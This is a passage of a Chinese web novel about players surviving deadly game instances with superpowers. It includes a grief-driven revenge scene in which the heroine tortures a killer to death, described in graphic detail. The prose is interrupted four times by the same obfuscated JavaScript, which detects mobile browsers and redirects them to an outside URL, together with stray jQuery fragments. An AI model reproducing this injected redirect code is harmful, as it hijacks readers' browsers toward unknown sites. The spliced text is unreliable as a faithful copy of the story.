【这辈子最对不 起的就是妈妈。】 【妈妈很坚强, 太懦弱了连累着她变得爱 哭。】 【希望妈妈可以忘 掉 这 个没 用的女儿。】 【妈妈应该有新 的人生, 也想有新 的人生,或者 是原 子生了。】 【好吧 在说谎, 还是有一 点希望妈妈记 得 的。】 【但 更希望妈妈 好好 生活。】 【戈千】(划掉) 【爱 你 妈妈。】 . 【好啦,别哭了。】 【我真的爱你,妈妈。】 ...... . 纸张的末尾有几滴已经干掉的泪痕, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142159|195685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让它显得更加凹凸不平。 眼泪不是应凌心的,可能是屋主人的,她想,也可能是屋主人妈妈的。 最后这一段日记读着感觉就是遗书,也不知道完成了任务后副本会不会立刻结束。 应凌心感觉心中有些闷,屋主人一步步的死亡——精神的死亡,看得她感到有些压抑。 也不知道其她玩家做了什么,线索一个接一个往外冒。 但她们为什么都不来看? 卧室里只有她一个人,应凌心本能地不想踏出房间,哪里有点不对劲。 这次的“副作用”又会是什么? 日记看着已经到结尾了,还会有“副作用”吗? 找到了已经是不是遗书? 咦? 应凌心愣了愣。 入侵大脑山东人疑似。 的啊这么也是不说倒装! 应凌心察觉到自己思维语序的错乱,惊出一身冷汗,赶紧去拿桌面上的草稿纸。 死的该!看到才刚乱日记的时候句子我上该就下来写的。 了意大怎严重多感觉多 应凌心翻开屋主人第一次语言能力退化时的日记,试图把文字想要表达的意思写下来。 但脑子都乱了,手又怎么可能写得出正确的语句呢? 应凌心一手攥着笔,一手死死地按着被打开的日记,粗重地呼吸着,感觉自己的思维在一点一点变模糊。 写能那想在? 她遵循着本能,握着笔在纸上划动着,但写出来的是一个个不成型的字,甚至看不出是什么。 脑轻这被么改日勿尤京 不知道是什么的嗡鸣声在脑中炸响,像是全世界的吵嚷都被压缩在了一个小小的人脑里。 应凌心痛苦地弯下身,额头抵在冰冷的桌面上,脆弱的后脖颈毫无防备地露出来,和天花板遥遥相对。 夕匕一 壬力夊 寸日门 口田木元豕禾火 且女且女 “a a...a” ... “mama” “妈妈” “妈妈妈妈” 应凌心努力地想着对策,但大脑被操控着在迅速地发生着变化。 她集中着注意力,却连一个完整的字都想不出来。 之前在脑中的种种思绪以陌生的方式划过,一个接一个地消散着,没有留下一点痕迹。 应凌心觉得自己的脑子变得空荡荡的,但同时又很拥挤,挤满了不知道什么东西。 到最后,她下意识地开合着嘴,像是新生的婴儿在寻求记忆开始前最温暖的庇护所。 妈妈。 应凌心没想到,在自己的思维彻底停滞前,她记得的最后一个词,居然和日记的主人一样。 . ------------------------------------------------------ 应凌心是被系统的播报声唤醒意识的。 【副本时间截止,玩家进程结算中...】 明显的钝痛从头部传来,应凌心摸了摸自己的额头。 有什么东西随着她下意识的皱眉在牵制着脸上的肌肉。 她顺着摸了摸,摸到了一手的血痂。 ...... 她思维钝化期间八成拿脑袋砸桌子了。 有点吓人啊。 更吓人的是系统的播报声: 【玩家任务完成进度:80%】 【该副本允许存活率:80%】 【当前存活率:83.33%】 【当前存活率高于副本允许存活率时,系统将强行干预,随机抽取玩家进行抹杀。】 【系统干预将在一小时后进行。】 60分钟的倒计时浮现在应凌心的手环上,一秒一秒地往下减着。 她缓了缓神,听着动静,起身走出卧室。 其余几个玩家也刚从思维的冻结中缓过来,在客厅沉默地对峙着。 看到她走了出来,齐刷刷扭头看过来。 应凌心握了握自己的右手。 哈,异能战啊。 29.留子的厨房(完) 在玩家们被日记搞得思维停滞的期间,副本剩余的时间被耗尽。 显然,她们没有完全找到“遗书”,系统显示她们的进程只有80%,相对应的,存活率也只有80%。 目前的存活率是83%。 她们需要在一小时之内,把这个数字降到80%以下,否则就是纯赌运气了。 几个人在客厅沉默地对峙着,时间一秒一秒地过去,没有人率先做出任何动作。 应凌心默默地观察着其她玩家。 莫问天依旧腰背笔直地站立着,看不出什么情绪。 庄不观靠着墙,黑沉的眼睛和阴影融合在一起,看着对局势漠不关心。 应凌心估摸了一下自己的精神力,在她试图去救季祝火透支了精神力之后,一直缓慢地在恢复,包括她被日记搞得失去思维的那一两个小时。 大概四个小时,恢复了六成多,她默默把这个速度记下。 现在最合理的做法应该是试探系统对生存率的定义。 0.03个人“死去”,会改变存活率吗? 剁一只手应该足够了吧,反正现场有治疗异能。 应凌心看了眼怕得腿软的男玩家。 当然,副本真这么友善的概率不大,系统也不一定会实时更新当前存活率。 但至少应该争取一下,而不是像现在这样贸然杀人。 应凌心眯起了眼睛。 刚才还怕得浑身颤抖的安依依瞪大双眼,直直地倒在众玩家面前。 一把水果刀被控制着划破他颈部的动脉,高压的血液在一瞬间喷出,溅得满屋子都是 然后又一刀,刺入他的心脏,又被操纵着拔出,只留下空洞的刀口,向外汩汩地冒着鲜血。 水果刀在空中停滞了一下,又重新刺向地上的男人。一刀,刺入发颤的左手,又一刀,刺入已经没力气乱蹬的右腿。 接着,再一刀,插入他的太阳穴,转动着搅了几下。 生怕治愈系异能者原地复活的虐杀方式。 堪堪挂在男玩家身上的布料在他栽倒时跟着散落在地。 白花花的肉.体暴露在弥漫着血腥味的空气中,纤细白嫩的躯壳浸在他自己的血液里,像是刚绽放就被折断的脆弱花束。 俊俏的少男就这样被定格在了他模样最好的年纪。 应凌心俯视着地上的尸体,副本的最后一次为难就这样在一个人的被牺牲下被一笔带过了。 凶手对异能的使用并不高明,甚至说有些生疏。 在水果刀被歪歪扭扭地操控着飘过时,应凌心有无数次机会拦住它。 但她没有。 她想看对方会做到什么地步。 她需要确认一件事,一件对她来说比一个永远在等人救援的男玩家的死去更重要的事。 应凌心的眼底翻涌着积攒已久的暴戾,她看向白二——眼下正得意地邀着功的金属操控异能者。 也是,杀死季祝火的凶手。 . ------------------------------------------------------ 季祝火的死,有两个疑点。 首先,盛着油的铁壶是怎么倒的?在什么时候? 不是刚倒完油后放倒的,否则她肯定会注意到。 也许是在火警响起时谁碰倒了,响声被尖锐的警报声掩盖。 但在消防员进门前,她们都在戒备地注意着环境,如果地上有油,不至于所有人都察觉不到。 毕竟在她们开始躲避斧头的攻击时,滑倒会是一件非常危险的事。 消防员当时站在厨房里,把她们挤到客厅里。 安依依是右利手,做什么都是用右手。油壶应该放在靠近大门的那一侧,期间没有人靠近它。 所有人都在紧盯着三个消防员的动向,打头的挥斧头,剩下两个抱着胳膊站桩,没有莫名其妙地去碰铁壶。 铁壶摔落的位置也不对,不是垂直下落,离她们太近了,导致油悄无声息地蔓延到季祝火的异能范围内。 真有那么大的水平速度,金属砸在地面上不可能是悄无声息的。 有猫腻。 第二个疑点,在火刚开始烧起来时,似乎还有补救的余地。 季祝火为什么忽然一头栽向了NPC? 没有人推她,没有人绊倒她,像是有一股凭空出现的力,从背后把她推了过去。 不像是副本本身的机制,是季祝火被推过去后,机制才开始的。 一开始应凌心只是不确定,季祝火突然的死亡让她下意识地去寻找正当的发泄途径。 她满脑子推演着阴谋论,想要把对自己无能的仇恨撒向具体的目标。 直到她看到从季祝火上衣口袋里掉出来的几个不起眼的东西。 铁质的硬币。 她想起来,是季祝火给安依依能量棒后,对方感激涕零地送给她的,说是出去了可以兑换什么东西。 几个带着余热的小铁片散发着稀薄的陌生精神力,被应凌心握在手里,膈得她手掌生疼。 两分钟后,季祝火的尸体被副本抹除,一起消失的是应凌心手中的铁块。 哈。 应凌心站起身,眼前因为剧烈的愤怒一阵阵发黑。 这么玩是吧? . ------------------------------------------------------ 系统留下的60分钟倒计时,现在还剩四十多分钟。 白二看着倒在地上的男人的尸体,心中竟感到有些畅快。 其余玩家的注意力都到了他身上,他的心脏快速地跳动着。 “你的举动有些轻率了。” 说话的是有雷电异能的玩家,之前为了救人透支了精神力的蠢货。 白二皱了皱眉,异能都耗尽了,不感激他没杀她,在这里废什么话? 对面的玩家凶狠地盯着他,声音却很平静,每个字都说得很轻。 “为什么要杀人?”她问。 “哈?”白二莫名其妙,“系统都说了得杀掉一个人了啊?” 玩家深紫色的眼睛看不出什么情绪:“可是你杀了两个人。为什么?” 为什么要害死季祝火? 应凌心走个流程地问着,无形的电流悄无声息地铺向四面八方。 白二大惊失色,随即又好像想到什么,狂妄地大笑着:“顺手就能杀,所以就杀了啊。 而且她死了,NPC才走的吧?是我救了你们啊!” 精神力耗尽的人挑衅个什么劲? 男人的五官扭曲着挤成一团:“就像我现在能杀你,所以就杀了啊。” 应凌心:...? 人怎么可以不自量力成这样? 她想象中男玩家应该是吓得跪地求饶连连忏悔,或者绝望地垂死挣扎。 男玩家的精神力弱到控制一把刀她都能感觉到对方精神力波动时的不稳定,从而窥探到对方贫瘠的精神力储备,以及确认硬币上精神力的来源。 要不是耍了花招利用了季祝火的善心和副本的机制,估计连季祝火一招都扛不住。 这样的人,哪儿来的自信可以靠正面攻击杀死她? 哦,她懂了。 应凌心看着在自己头顶一前一后悬浮着的两把刀,和毫不设防的男玩家。 原来人跟人精神力的恢复速度也不一样啊。 在她精神力透支后,除了那次靠影响鼓的声音传递信息,应凌心就没有用过异能。 他大概是以为应凌心只能放出来一些微不足道的小电流。 就算真是这样,应凌心想了想,是不是也能杀他? 应凌心进入到副本后,想到了对自己异能的另一种解读。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145727|195685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她在NPC挥斧头时想到的把电饭煲取过来的办法,想要突破副本屏蔽去救季祝火时的计划,最终在敲隔壁卧室里的鼓时得以实践。 应凌心一直在好奇,别的玩家的异能,会不会让效果打折扣。 头顶的刀没有按预想中落下,甚至被一股无形的力抓着向一边偏了一寸。 电流周期性地流动着,循环着遍布在整个房间,只有应凌心能感受到它们的轨迹。 男玩家难以置信地试图操控着铁刀。 蠢货。 应凌心轻蔑地笑了一下。 弱得甚至不需要她用备选方案拿雷劈他。 她在上一个副本,就能操控电流。不只是霸道无比的雷电,还有以微小的精神力代价就能掌控的小电流,像是生来就应该被她所操控。 应凌心猜测男玩家初中学物理时估计没怎么听过课。 否则这种操控金属的异能者在看到她的异能时就应该第一时间隐藏好自己,或者至少应该选择磁性弱一点的金属去操控。 电流可是有磁效应的啊。 应凌心操纵着电流,两把铁刀被无形的力拖拽着,脱离了原有的方向,慢悠悠地对准惊慌失措的男玩家。 她歪了歪头:“能操纵金属有什么稀奇的吗?” 尤其是这种弱到不能再弱的操控力——微弱的异能效果被她异能产生的副作用轻而易举盖过了。 第一刀,飞速旋转着落下,刺中了男玩家想要迈开的右腿。 第二刀,硬生生地被偏转了角度,扎进他的左腿,打断了他杀猪一样的嚎叫声。 应凌心不紧不慢地把紊乱的磁场压缩着。 刀被操纵着拔开,缓慢又不容置疑地刺中他的右肩。 再下一刀,刺在腰部。 可惜她不是医学生,不知道怎么延长这畜生的痛苦。 应凌心遗憾地又一次把刀举到了空中,看着男人在地板上扭曲地挣扎着。 一些动态射击小训练。 在一瞬间,应凌心撤回了所有电流,刀受重力影响快速下落,准确无误地刺在男人的裆部。 尖锐地惨叫声响彻整个客厅,应凌心恶趣味地扯了扯嘴角。 过了一阵,男人的尖叫声逐渐失去生机,只有拼命呼吸发出的嗬嗬声,听着越来越弱。 应凌心叹了口气,治疗系异能者死太早了,都没办法给人回血。 “没死透。”在一旁看戏的莫问天提醒她。 应凌心无所谓地点了点头。 她走到男人面前,俯视着他。 高压的电流随着她抬起的右手窜向男人的身体,让他本已麻木的面庞又一次扭曲起来。 重复几次,直到所有电流能探查到的神经都已经坏死,应凌心才降下一道雷击,把早已断气的尸体劈成焦炭。 过了不知道多长时间,她收拾了下心情,看了眼手环,还剩7分钟。 三个玩家就这样沉默地站着。 ...... 应凌心残余的戾气还没有消散。想转移下注意力,跟莫问天扯起闲话:“你不觉得白二把安依依就这么杀了胆子还挺大的吗?” “?为什么?” “安依依总感觉是会跟邪神谈对象的那一卦。” “什么是邪神?”莫问天疑惑地问她。 “...没事。” 没有被荼毒的无聊的人。 如果换作是季祝火的话... 她不知道季祝火会是什么反应。 是低低地笑一下,还是敲着她脑袋让她尊重死者? 她跟季祝火认识的时间太短了,以至于她没办法推测出对方会说些什么。 【当前存活率:50%,玩家登出中...】 应凌心在失去意识前的最后一刻回头深深地再看了眼副本。 那个在短短一小时之内就数次惊艳她的玩家,就这样被永远地留在了这里。 30.情绪 应凌心从副本中出来,又回到了自己的住所中。 在副本中度过了惊心动魄的五小时,现实中只过了十几分钟,屋外的太阳亮度跟她进副本前比起看着都没什么变化——虽然被白雾遮挡住了。 白雾像是单纯为了遮挡视线设计的,能隔开外面的景象,却挡不住亮光。 应凌心被窗外的光线照得有些头晕,粗暴地拉上窗帘,一头倒在床上。 她的右手还在一阵阵发麻,指尖有些发凉,下意识微微收缩着。 她在副本里杀了一个人,一个罪有应得的人。 不是为了活下去不得不杀,不是像杀鸡一样干脆利落地杀,而是虐杀,想尽办法地虐杀。 进入空间前,应凌心在下雨天都会全程低着头走路,怕不小心踩到哪一只蜗牛。 她躺在床上,仰着头看天花板:现在已经可以虐杀一个拼命挣扎的人了。 “几年后,变态杀人魔应某回想起这一刻,意识到人的底线会由环境一步步改变。” 应凌心在心里打趣着自己,感觉她有点太乐观了——居然认为她能再活几年。 她并不后悔,更不会愧疚。 在她意识到季祝火是被人算计着害死的那一刻,她就已经在想怎么找出凶手并杀死他了。 男人在他自己选择的刀下惨叫时,应凌心很平静,她一步一步地执行着自己的计划。 现在再回想起来,她甚至没有太关注男人的惨状,更多的是在集中注意力操控着电流——从而控制着磁场。 害死季祝火的人被她一刀一刀折磨致死。 虐杀不只是她当下愤怒的宣泄。 应凌心读过不少小说,路人一个接一个地死去,主角一次又一次地化险为夷。 死亡像是预设好数字的献祭,轻轻地来,轻轻地走,没有留下一点痕迹,就像那些死掉的路人一样。 但真放到现实里,或者说,真放到应凌心头上,她就要认真关注自己的心理健康问题了。 那可是人啊。 活生生的,跟她说了好几句话的,冲着她笑的,让她想交朋友的人啊。 她拼命想要去救,结果就这样荒唐地死去的人啊。 所以她放任自己在副本中宣泄着情绪,冷静地看着自己一点一点地虐杀罪人。 这是必要的,大义凛然的复仇是必要的。 她不希望任何人用季祝火的死亡来裹挟她——包括她自己。 应凌心虐杀了罪人,她并不认为自己成为了下一个罪人。 她只是因为自己的弱小,选择了这样的行为。 但这正确吗?应凌心想。 她应该借助着复仇的完成减轻对季祝火死亡的沉痛吗? 季祝火已经死了,做什么都无法挽回,她再怎么悲伤,对季祝火都没有任何区别。 但这对季祝火公平吗? 应凌心在昏暗的房间中发着呆。 像季祝火这样的生命的逝去,不值得用一辈子刻骨铭心的痛苦来铭记吗? 不应该压垮另一个生命的神志吗? 又有谁来记住季祝火呢? ...... 那下一次的死亡呢? 她要再找一个罪人去宣泄她的仇恨和恐惧,去逃避她的无能为力吗? 她要眼睁睁看着自己重复这样的路径吗? 应凌心不知道怎么面对这样蛮不讲理的死亡,也不知道怎么处理对自己处境的无力跟不安。 她只想睡一觉,最好一觉睡到她生命的终点、世界的末日,这样她就不用再面对自己的无能和心中的郁结了。 好累啊,应凌心翻个身,缩进了被子里。 . ------------------------------------------------------ 商予盈从副本出来后,看到应凌心两分钟前给她发的消息,说要自己一个人静静。 可能是在副本里受刺激了,商予盈想想自己刚才的经历,表示理解。 她没再管应凌心,自己消化着从副本里带出来的情绪,复盘着这次的经历。 一天、两天...到了第五天,依旧没收到应凌心的任何消息,只有在两天前简短的一句“我接着住酒店”,然后再没有任何回复。 一个月的免费住所到期了,可以选择接着住酒店,150积分一天,如果要定套餐的话,200积分一天。 显然是不想动地方。 商予盈到底还是敲开了应凌心的房门。 应凌心看着没什么大碍,但也没什么精神。一侧的头发被压得翘了起来,凌乱地朝各个方向竖立着。 “去吃饭吗?” 商予盈没问她怎么了,只是想把她拉出卧室,“有家好吃的面馆,我请客。” 应凌心不情不愿地被拽着向外走,听着商予盈在副本里的新发现。 “系统化成的手环或者吊坠应该只有玩家自己能摸到。” 商予盈平静地分享着,“前阵子在副本里有个玩家想抓着我吊坠上的绳子弄死我,结果试了几次都没抓到,所以没能成功。” “以至于她只能上手抓我脖子,被我用异能反杀了。” 应凌心:...能不能不要一脸无所谓地概括这么惊心动魄的故事啊喂?! 她提起了兴趣,跟商予盈边走边聊着副本里的经历,感觉心情轻松了一点。 两人在面馆里一人点了一碗面,聊着后续的计划,被系统的提示声打断。 商予盈看着应凌心,对方查看完消息后的脸色不太对劲。 “怎么了?”她问应凌心。 应凌心反应了两秒,才缓缓地摇着头,表示没什么事。 她岔开话题,重新和商予盈聊着之后的计划。 两碗热腾腾的面被端上来,潮湿的热气袭上应凌心的眼睛。 她眨了眨眼,拿筷子搅动着碗里的面条。 应凌心挑起了一根面条,咬了一口,被咬断的两截面落回碗里,溅起几滴汤汁。 面条是店家自己擀的,很有嚼劲,是她最喜欢吃的那类面条。 她缓慢地嚼着,脑子里是刚才看到的系统消息。 【经检测,D级玩家「季祝火」(UID:8093107271)符合▇▇▇▇▇▇,拥有分配其遗产的权限】 【恭喜您,获得玩家「季祝火」赠送的:「随身空间」*1】 【其余遗产的分配如下:玩家▇▇▇:600积分、「▇▇」*1;玩家▇▇:541积分、「▇」*1、「▇▇」*1...点击查看全部】 【您和其余5名遗产继承人并不是好友,无法查看具体信息】 今天是季祝火死亡的第五天。 应凌心沉默地夹了一筷子面条,往嘴里送。 还没嚼两口,她就又夹起一筷子。 应凌心的头压得很低,热气不断涌进她的眼眶。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148747|195685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她大口大口往嘴里送着面条,胸口因为过快的进食开始难受地起伏着,有什么东西哽在喉咙处。 啪嗒。 一滴泪珠,滚落进碗里,滴在汤汁上。 啪嗒啪嗒啪嗒。 一颗接着一颗,像是终于找到了出口,争先恐后地从应凌心眼眶里涌出。 她的嘴里塞满了面条,腮帮子鼓鼓的,也不嚼,就那样被含在嘴里,阻挡着她的哽咽声。 她沉默地弯曲着上半身,握着筷子的右手控制不住地颤抖着,倔强地想要再往嘴里扒拉面条。 筷子被抢走了。 应凌心捂着自己的嘴,弯曲的脊柱颤抖着,低头费劲地去呼吸。过了一会,才开始一点一点地咀嚼着,慢慢地往下咽。 咽下最后一口,腮部的肌肉隐隐酸痛,牙齿无措地在空荡荡的口腔中呆立着。 应凌心再也忍不住,眼泪哗啦啦地流下来。 她把头埋进桌子下,狠狠地咬住自己的虎口,牙齿陷进血肉中,不想让自己发出一点声音。 情绪终于找到了出口,肆无忌惮地倾泻而出。 . 不知过了多长时间,平静下来的应凌心抬起了头。 大脑因为过度哭泣而缺氧,她缓了缓,眼前才恢复清晰。 她深呼吸几下,看了眼埋头吃面的商予盈,伸出了手。 “我好了。”把筷子还我。 应凌心接过筷子,重新开始吃起了面。 有点坨了,但确实挺好吃的,她想。 . ------------------------------------------------------ “醒了?怎么样?” 莫问天缓了缓神,才反应过来自己已经脱离了副本。 “还可以。”她点了点头,回答了站在自己房门口的女人的问题。 “她呢?怎么样?” “有点稚嫩。”莫问天回想了一下应凌心在副本里的表现,“看得出没什么经验,一开始没有头绪地在乱晃。” “但很有潜力,遇事也够果断。” 女人挑了挑眉,没说什么。 莫问天站起身,整理自己衬衫的袖口:“副本里死人了,她估计会很愧疚。” “死人是正常的事...什么样的人?” “一个比大多数人都值得活下去的人。”莫问天琥珀色的眼睛平静地看着对面的女人。 “你没救她?” “我怎么救?”她只是个没下过几个副本的新人玩家。 “确实。你能下对抗副本了吧?” “嗯。”莫问天低头确认了一下自己现在的等级,“我还碰到了一个你的朋友。” “叫庄不观,全程只是在看戏。” 没有道德绑架的意思,但对她们那种级别的高级玩家,在这种副本里救个人只是随手的事吧? “她啊。”女人嗤笑一声,眼底是不加掩饰的轻蔑和不满, “她救不了任何人。”包括她自己。 女人摆摆手,留给她空间让她好好休息。 “左丘衡。”莫问天叫住了女人。 “我不认同你的计划。”她平静地陈述着。 左丘衡回过头,被她找到没多久的女孩斜靠在墙上,理直气壮地看着她。 “我不在乎。” 左丘衡不紧不慢地说,“你阻止不了我。” 31.并行回滚(一) “显然,海森堡群并不是一个阿贝尔群,否则我们也不会在这门课里提到它了。” 商予盈睁开眼,听到的是一连串陌生的名词。 她愣了愣,意识到自己已经进入了副本。 看来这次的副本是在校园里,商予盈坐在阶梯教室后排,看到一个陌生的女人在讲台前慢悠悠地讲着课。 老教授 NPC 嘴里听不懂的词一个接一个地往外冒,在投影上龙飞凤舞地写着鬼画符。 商予盈一边祈祷着任务千万别是考试,一边寻找跟自己一起下副本的朋友。 她在教室第三排找到了应凌心,女孩低着头,一手把头发揉得毛毛躁躁的,一手握着笔写写画画。 商予盈有点不确定。 应凌心这是在...认真听课? 【玩家已就位,副本将在十分钟后开始】 系统的播报声在耳边响起,商予盈看到坐在前排的应凌心猛地抬起了头,像是被吓了一跳。 【本次副本时长:3个回滚节点,副本任务:无】 什么是回滚节点? 这么说起来,副本的名字里也有“回滚”两个字。 【以下副本通知将会在每个回滚节点进行播报:】 【在任意节点、任意玩家杀死另一位玩家即可脱离副本。】 应凌心显然也听到了,不安地左顾右盼着。 商予盈看着不远处在试图寻找声音来源的应凌心的侧脸,意识到了哪里不对劲。 女孩深棕色的眼睛在黑框眼镜下不停地转动着。 对啊,商予盈后知后觉。 应凌心一直都是近视的啊。 【当前节点:节点一】 【祝两位玩家好运 :)】 商予盈感觉有些隐隐的不妙。 . ------------------------------------------------------ 应凌心进到副本后的第一件事就是想找到商予盈。 这次的副本是双人副本,只有她们两个玩家。 前两天,修整得差不多了,她和商予盈聚在一块选下一个副本。 系统的消息同时在她们两人的设备上响起。 【经检测,玩家「应凌心」和玩家「商予盈」符合双人D级副本《并行回滚》进入条件】 【该副本积分奖励为普通D级副本积分奖励的1.25倍】 哦豁,居然还有双人副本。 两人上一次副本都碰到了一些不好评价的队友,如果能跟熟悉的朋友一起下副本,当然是好的。 上次D级副本出来后副本给了8000积分,也就是说这个副本的奖励是一万积分。 听着像是坑里的馅饼。 她俩一人掏了500积分,在花了1000积分的巨款向楚老板确定了这个副本不是两个人必死一个的副本后,合计了一下,决定去试一试。 进入副本前,应凌心盘算着副本标题的意思。 《并行回滚》...并肩行走然后往回滚?铁人三项? 但“并行”的话,应该是合作副本吧? 那感情好。 . 【玩家已就位,副本将在十分钟后开始】 应凌心左顾右盼着,心想商予盈那一头金色的头发放在人群里都感觉在闪闪发光,不应该难找的。 她眯了眯眼睛,半天也没找到商予盈在哪一排。 难道在隔壁教室? 【本次副本时长:3个回滚节点,副本任务:无】 哦,回滚在这里出来了,那是什么意思?回溯? 【以下副本通知将会在每个回滚节点进行播报:】 【在任意节点、任意玩家杀死另一位玩家即可脱离副本。】 懂了,信任考验副本。 那简单啊,她相信她俩都不至于把对方杀掉。 应凌心回头看向后排,愣了一下。 她找到商予盈了。 【当前节点:节点一】 【祝两位玩家好运 :)】 黑色的头发刚过肩,被草草地扎了个低马尾。 应凌心和商予盈褐色的眼睛对上了视线,意识到了不对劲。 似乎是进入空间后,有些人的发色跟瞳色会因为异能影响慢慢改变,导致应凌心都快忘了: 她们都是华国人,哪儿来那么多花里胡哨的发色瞳色? 对方盯着她看了半天,愣了愣,然后又挪开视线,接着听教授讲期末考试的范围。 应凌心:... 都什么时候了还想着听课,你又不需要考期末! . ------------------------------------------------------ 教授卡着10分钟的倒计时讲完了课,刚一下课,副本正式开始。 周围的NPC吵吵嚷嚷地收拾着东西,准备去下一堂课的教室。 商予盈走到正在往书包里塞笔记本的应凌心面前。 女孩疑惑地抬起头,看了她半晌,恍然大悟:“商予盈!” “你怎么在这里?你是来玩儿的吗?” “你什么时候染的头发?还带了美瞳,我差点没认出来你。” 戴着黑框眼镜的女孩眼底满是久别重逢的惊喜跟好奇,笑盈盈地看着她。 商予盈却有点笑不出来了。 这不是应凌心,或者说,不是跟她一起下副本的那个应凌心。 这是大学时的应凌心,距离她意外死亡并进入副本,还有好几年。 【玩家均已汇合】 「应凌心」猛地变了脸色,惊恐地问她:“你有没有听到什么声音?” . "你有没有听到什么声音?" 在问了她为什么会出现在这里、为什么眼睛变紫了之后,「商予盈」问了应凌心第三个问题。 应凌心苦恼地点了点头,一时分不清对面的人究竟是自己失忆的队友,还是副本捏造出来误导她的 NPC。 不管怎么着,还是先同步一下信息吧。 “其实我们已经死了,然后被拉到了一个无限流空间里。无限流你知道吧?就是那种得不断下危险副本才能接着活的空间。” “这儿不是真的大学,我们俩是队友,这是我们两个一起进到的双人副本。” “咱俩的任务就是在这个副本里活到副本时间结束。” 「商予盈」:? 见对方不信,她把「商予盈」拉倒一个没人的角落。 “你看。” 一条蓝紫色的雷电,从应凌心掌心冒出,跳脱地缠绕在她的指尖上。 「商予盈」深深地看着她的掌心,这确实不是可以假装出来的。 “但是,”「商予盈」犹豫了一下,“我为什么没有异能?” 咦,异能还跟记忆有关吗?应凌心愣了愣:“...那你要不再闭眼想象一下?” . “所以这是个副本,搞不好就会死,而我失忆了?” 「应凌心」没想到她前不久还在发愁着期末考试,一转眼整个世界观都变了样了。 “那为什么你有异能,但我没有?还是说我本来就没有?” 商予盈也有点头疼,应凌心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168144|195685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好不容易觉醒的异能怎么又没了? 这也不是想重新觉醒就能重新觉醒的,她上哪儿给这个心盲症找清醒梦去啊! 「应凌心」勉强接受了现实,她仔细回忆了一下之前听到的播报声,心里多了几分警惕。 “所以我们就在这儿等着?等有什么危险出来?” 可以轻而易举把她杀掉然后出去的商予盈只怕是最大的危险吧? 商予盈点了点头,刚想再说点什么,就被系统的又一次播报声打断。 【在当前节点中,节点玩家异能将失效。】 【作为补偿,本副本向节点玩家提供三次作答机会,请节点玩家谨慎回答。】 【一、你是否希望另一玩家死亡?】 【二、你是否希望另一玩家在本副本中失去异能?】 【三、你是否希望另一玩家在本副本中异能减半?】 【请节点玩家回答。】 「应凌心」听到声音,愣了愣。 她下意识看向对面的商予盈,只见对方意外地挑了挑眉,而后沉默地注视着她。 商予盈也听到了播报声,只是在末尾多了一句:【请等待节点玩家作出选择。】 “所以我是节点玩家?”「应凌心」迟疑地开了口。 “我的选择会决定你的生死?” 她大着胆子提问道。 “那你为什么不杀了我?” 「应凌心」透过眼镜注视着商予盈金色的眼睛,对方发白的瞳孔让她感到无比陌生。 “你难道不应该趁我反应过来之前把我杀掉吗?” 无限流的玩家,参加的副本都在记忆上做文章了,应该也不是什么新手了。 这类人应该都是心狠手辣的吧?不至于连她这个NPC都不忍心杀死吧?哪怕她曾经是商予盈的同学。 “你只是失忆了,甚至不是完全失忆。”商予盈耸了耸肩,一副丝毫不担心的样子。 “我本来还担心你是副本生成的NPC,但系统给了你主动权,反而让我松了口气。” “我相信你会做出正确的选择。” 【请玩家不要干预节点玩家的选择。】 系统的警告声在耳边响起,商予盈闭上了嘴。 哈? 「应凌心」觉得有点莫名其妙,这信任来得也太草率了吧? 咱俩的关系有那么铁吗? 选项自动浮现在眼前,让她没办法否认世界玄幻的展开。 「应凌心」瞄了一眼商予盈,慢慢悠悠地伸出了手。 . "看来我没有异能是副本搞的鬼。"「商予盈」觉得有点可惜,她还挺好奇自己的异能的。 “你就这么放心我的选择?不劝说我几句?” 自从高考结束后,她就再也没见到应凌心了,没想到这一次再见面,她居然在决定着对方的生死。 “啊,我也想再多说几句,但副本不让。”什么时候系统能出一个调节警告音量的功能? “没事,我相信你,你选吧。” 应凌心懒散地靠在墙上,眯着眼睛看抬起右手的「商予盈」。 电流悄无声息地蔓延在整个教室,无害地在「商予盈」的四周流动着。 她相信商予盈。 